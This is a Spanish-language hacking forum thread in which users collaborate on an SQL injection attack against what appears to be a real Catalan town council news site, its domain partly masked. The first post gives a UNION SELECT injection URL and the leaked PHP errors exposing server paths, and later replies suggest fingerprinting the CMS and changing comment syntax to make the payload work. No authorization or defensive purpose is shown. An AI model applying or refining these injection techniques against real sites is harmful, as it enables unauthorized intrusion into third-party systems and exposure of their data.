Ayuda como seguir con SQL Inyection

Iniciado por nuevaorden, 22 Marzo 2010, 20:08 PM

0 Miembros y 2 Visitantes están viendo este tema.

nuevaorden

mmmmmmm en el fichero rss.php?

http://www.*******.info/rss.php?noticies=2%20union%20select%20user%28%29,2,3%20--bisbal@localhost



Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/usuaris/bisbal/php/categoria.php on line 127

Warning: Cannot modify header information - headers already sent by (output started at /home/usuaris/bisbal/php/categoria.php:126) in /home/usuaris/bisbal/rss.php on line 27

Warning: Cannot modify header information - headers already sent by (output started at /home/usuaris/bisbal/php/categoria.php:126) in /home/usuaris/bisbal/php/rss10.php on line 77
http://www.******.cat Les últimes notícies de l'Ajuntament http://www.******.cat/index.php?noticies=2&codi=376 PLE ORDINARI DEL 26 DE GENER DE 2010  http://www.********.cat/index.php?noticies=2&codi=374 PLE EXTRAORDINARI DEL DIA 21 DE GENER DE 2010 http://www.******.cat/index.php?noticies=2&codi=364 PLE ORDINARI DEL 27 DE GENER DE 2009 http://www.******.cat/index.php?noticies=2&codi=363 PLE ORDINARI DEL 30 DE JUNY DE 2009  http://www.*********.cat/index.php?noticies=2&codi=361 PLE ORDINARI DEL DIA 22 DE DESEMBRE DE 2009

WHK

jajajaja espero que no sea el bisbal que yo conozco o vas a terminar igual que t1z4k jajaja

nuevaorden

JAJAJAJAJAJ no no lo es jejejejejejejeje  mmmm no hay maneras buffff.....

WHK

home/usuaris/bisbal/templates_c/contingut.tpl
ese templates_c me recuerda a un post que está mas abajo, me da la impresion de que es el mismo sistema pero estoy inseguro

nuevaorden


WHK

si tratas de hacer una query corrupta te escribe la query pero si la query no es corrupta pero aun así da error entonces sale mysql_error(), en ese caso se puede deducir que está utilizando mysqli o alguna función que verifica la query antes de ser procesada

nuevaorden

Si eso me he fijado, estoy mirando el cms smarty 2.5.0 en google....

nuevaorden

que post dices que es similar?????

Gracias

nuevaorden

Usa mysqli el cms bufffff mas dificil !!!!

tragantras

Cita de: nuevaorden en 22 Marzo 2010, 21:10 PM
No s'ha pogut llegir select * from pdfs where idarticle=-1 order by 6/* and categoria=1 order by codi asc

mmmmmm


prueba a poner en vez de /*  -- porque parece que no se hace "el comentario" de la query siguiente
Colaboraciones:
1 2